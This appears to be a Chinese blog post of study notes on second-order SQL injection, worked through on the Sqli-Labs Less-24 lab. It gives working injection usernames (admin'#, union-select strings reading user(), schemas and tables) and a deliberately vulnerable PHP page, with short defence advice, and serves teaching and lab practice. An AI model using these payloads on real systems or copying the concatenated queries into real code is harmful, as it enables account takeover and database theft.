学习笔记-渗透测试-SQL注入_008_二次注入

二次注入与前文注入方式有所区别,采用的是提前注入恶意语句,后续在调用该数据,组合完成攻击的方式

1 二次注入简介

第一步:插入恶意数据

第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身就包含恶意内容

第二步:引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成二次注入

image-20200822164457196

2 攻击演示

先使用Sqli-Labs Less24,进行一下简单的演示,打开网页查看 http://192.168.0.102:81/Less-24/

image-20200822231212531

这是一个很普通的登录窗口,我们假设知道它的账号admin,不知道它的密码

image-20200822231646047

我们现在创建一个账号,账号名字为admin'#,密码为123

image-20200822231814365

然后输入账号密码就能登陆了

image-20200822231918564

sql数据库里面也有了

image-20200822232003478

然后我们现在来修改密码,修改密码为1234567

image-20200822232201605

我们再来看数据库,账户名为admin'#的账号密码没有被修改,而admin账号密码被修改了

image-20200822232318242

使用账号admin和密码1234567也就能登陆了

image-20200822232406255

3 原理分析

3.1 原理讲解

从数据库中取出的恶意数据,没有得到校验,直接被带入了修改密码的sql语句中,我们知道修改密码的页面是http://192.168.0.102:81/Less-24/pass_change.php

查看pass_change.php的源代码

image-20200822233056247

虽然$pass得到了加工,但我们这里下手目标是$username,我们在修改密码的时候,我们的账户名是admin'#,即$username=admin'#,完成了语句的构造

$sql = "UPDATE users SET PASSWORD='1234567' where username='admin'#' and password='$curr_pass' ";

实际生效的代码就是

"UPDATE users SET PASSWORD='1234567' where username='admin'

所以修改的就是admin账号

3.2 原理演示

为了更直观的进行演示,需要对Sqli-Labs Less24进行一些修改

首先执行SQL语句

ALTER TABLE `users` CHANGE `username` `username` VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL;

修改username字段长度容量为255

image-20200822173556733

在Less24中创建文件userlist.php,这个文件的功能就是显示所有用户的信息

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>doublecode</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql = "SELECT * FROM users ORDER BY id asc";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
for($j = 0;$j<$num;++$j){
	$row = mysql_fetch_array($result);
	$username = $row[1];
	$sql_detail = "SELECT * FROM users where username = '$username'";
	$result_detail = mysql_query($sql_detail);
	$num_detail = mysql_num_rows($result_detail);
	for($i = 0;$i<$num_detail;++$i){
		$row_detail = mysql_fetch_array($result_detail);
		echo <<<END
		<table border="1" style="table-layout:fixed;" width="1000" align="center">
			<tr>
				<th>$row_detail[1]</th>
				<th>$row_detail[2]</th>
			</tr>
		</table>
END;
	}
}

打开页面就是这个样子

image-20200822235217611

首先我们这次还是创建一个用户http://192.168.101.200/Less-24/new_user.php

这次用户名命为1' union select 1,user(),3#,打开userlist.php文件,我们就可以看到一个新用户

image-20200822235807646

注入成功了,我们来看看userlist.php的代码变化,输出语句是这样的

$sql_detail = "SELECT * FROM users where username = '$username'";

但是由于我们的用户名是1' union select 1,user(),3#,故构成语句

SELECT * FROM users where username = 1' union select 1,user(),3#'

由于我们知道username里面没有1,1是不存在的结果,就执行联合查询语句union select 1,user(),3

然后我们继续注入一下,注册密码由于和注入无关,就随便写了

查询数据库

账号名: 1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3#

image-20200823000937740

查询数据表

账号名: 1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3#

image-20200823001126345

4 二次注入防御

对外部提交的数据,需要更加谨慎的对待

程序内部的数据调用,也需要进行严格审查,一旦不小心,测试者就能将特定的SQL语句带入到查询中

posted @ 2023-02-26 23:10  kinghtxg  阅读(73)  评论(0编辑  收藏  举报